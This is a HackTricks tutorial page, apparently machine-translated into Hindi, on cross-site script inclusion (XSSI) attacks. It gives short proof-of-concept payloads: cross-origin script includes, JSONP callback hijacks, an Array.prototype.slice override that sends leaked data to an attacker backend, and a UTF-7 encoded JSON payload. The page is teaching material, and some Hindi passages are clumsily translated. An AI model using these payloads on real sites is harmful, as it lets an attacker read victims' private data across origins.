hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

93 lines
12 KiB
Markdown

# XSSI (क्रॉस-साइट स्क्रिप्ट इनक्लूजन)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** ट्विटर पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
## मूल जानकारी
XSSI एक प्रकार की कमजोरी को सूचित करता है जो यह उत्पन्न करता है कि, **जब एक **संसाधन `script` टैग का उपयोग करके शामिल किया जाता है, तो SOP लागू नहीं होता है**, क्योंकि स्क्रिप्टों को क्रॉस-डोमेन में शामिल किया जा सकना चाहिए। इस प्रकार, एक हमलावर इस तरह से **सभी कुछ पढ़ सकता है** जो **`script` टैग** का उपयोग करके शामिल किया गया था।
यह विशेष रूप से दिनामी JavaScript या JSONP के समय दिखाई देने वाले वातावरण-अधिकार सूचनाओं के साथ जब कुकीज अधिकृति के लिए उपयोग की जाती है, तो यह दिलचस्प होता है। कुकीज एक विभिन्न होस्ट से संसाधन का अनुरोध करते समय शामिल किए जाते हैं।
### प्रकार
1. स्थायी JavaScript (सामान्य XSSI)
2. स्थायी JavaScript, जो केवल प्रमाणीकरण के समय उपलब्ध है
3. दिनामी JavaScript
4. गैर-जावास्क्रिप्ट
**निम्नलिखित जानकारी [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)** का सारांश है। अधिक विवरण के लिए इसे देखें।
### सामान्य XSSI
इस दृष्टिकोण में, निजी जानकारी को एक वैश्विक रूप से पहुंचने वाले JavaScript फ़ाइल में समाहित किया जाता है। हमलावर इन फ़ाइलों को फ़ाइल पढ़ने, कीवर्ड खोज, या नियमित अभिव्यक्तियों जैसे तरीकों से पहचान सकते हैं। एक बार खोजा गया, निजी जानकारी वाला स्क्रिप्ट दुरुपयोग में शामिल किया जा सकता है, जिससे संवेदनशील डेटा तक के अनधिकृत पहुंच हो सकती है। नीचे एक उदाहरण शोषण तकनीक दिखाया गया है:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### डायनेमिक-जावास्क्रिप्ट-आधारित-XSSI और प्रमाणीकृत-जावास्क्रिप्ट-XSSI
ये प्रकार के XSSI हमले गुप्त जानकारी को उपयोगकर्ता के अनुरोध के प्रतिक्रिया में जावास्क्रिप्ट में डायनेमिक रूप से जोड़ देने का सम्मिलित करते हैं। पहचान कुकी के साथ और बिना कुकी के अनुरोध भेजकर की जा सकती है और प्रतिक्रियाएँ तुलना करके। यदि जानकारी भिन्न है, तो यह गुप्त जानकारी की मौजूदगी का संकेत हो सकता है। इस प्रक्रिया को [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp एक्सटेंशन जैसे उपकरणों का उपयोग करके स्वचालित किया जा सकता है।
यदि गोपनीय डेटा एक ग्लोबल वेरिएबल में संग्रहित है, तो इसे नियमित XSSI में उपयोग किए गए उसी तरीकों का उपयोग करके उत्पन्न किया जा सकता है। हालांकि, यदि गोपनीय डेटा एक JSONP प्रतिक्रिया में शामिल है, तो हमलावर कॉलबैक फ़ंक्शन को हाइजैक करके जानकारी प्राप्त कर सकते हैं। यह या तो ग्लोबल ऑब्जेक्ट को मानिपुलेट करके या एक फ़ंक्शन को सेट करके किया जा सकता है जिसे JSONP प्रतिक्रिया द्वारा क्रियान्वित किया जाए, जैसा नीचे प्रदर्शित किया गया है:
```html
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
```html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
जो भीर्तिक नेमस्पेस में स्थित नहीं हैं, उनके लिए कभी-कभी *प्रोटोटाइप टैम्परिंग* का शोध किया जा सकता है। यह तकनीक जावास्क्रिप्ट के डिज़ाइन का लाभ उठाती है, जहां कोड की व्याख्या करने में कॉल्ड प्रॉपर्टी को ढूंढने के लिए प्रोटोटाइप चेन को चरणों में चलना पड़ता है। कुछ फ़ंक्शन को ओवरराइड करके, जैसे कि `Array` का `slice`, हमलावार निशाने में ना-ग्लोबल वेरिएबल्स तक पहुँच सकते हैं और लीक कर सकते हैं:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Further details on attack vectors can be found in the work of Security Researcher [Sebastian Lekies](https://twitter.com/slekies), who maintains a list of [vectors](http://sebastian-lekies.de/leak/).
### गैर-स्क्रिप्ट-XSSI
Takeshi Terada के शोध में एक और फॉर्म ऑफ XSSI पेश किया गया है, जहाँ गैर-स्क्रिप्ट फ़ाइलें, जैसे CSV, `script` टैग में स्रोत के रूप में शामिल होकर क्रॉस-ऑरिजिन में लीक होती हैं। XSSI के ऐतिहासिक उदाहरण, जैसे Jeremiah Grossman का 2006 का हमला जिसमें पूरा Google पता-पुस्तिका पढ़ा गया था और Joe Walker का 2007 का JSON डेटा लीक, इन खतरों की गंभीरता को हाइलाइट करते हैं। इसके अतिरिक्त, Gareth Heyes एक हमला वेरिएंट वर्णित करते हैं जिसमें UTF-7 एन्कोडेड JSON का उपयोग करके JSON प्रारूप से बचने और स्क्रिप्ट्स को निष्पादित करने की क्षमता है, जो कुछ ब्राउज़र्स में प्रभावी है।
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** PRs को सबमिट करके **HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>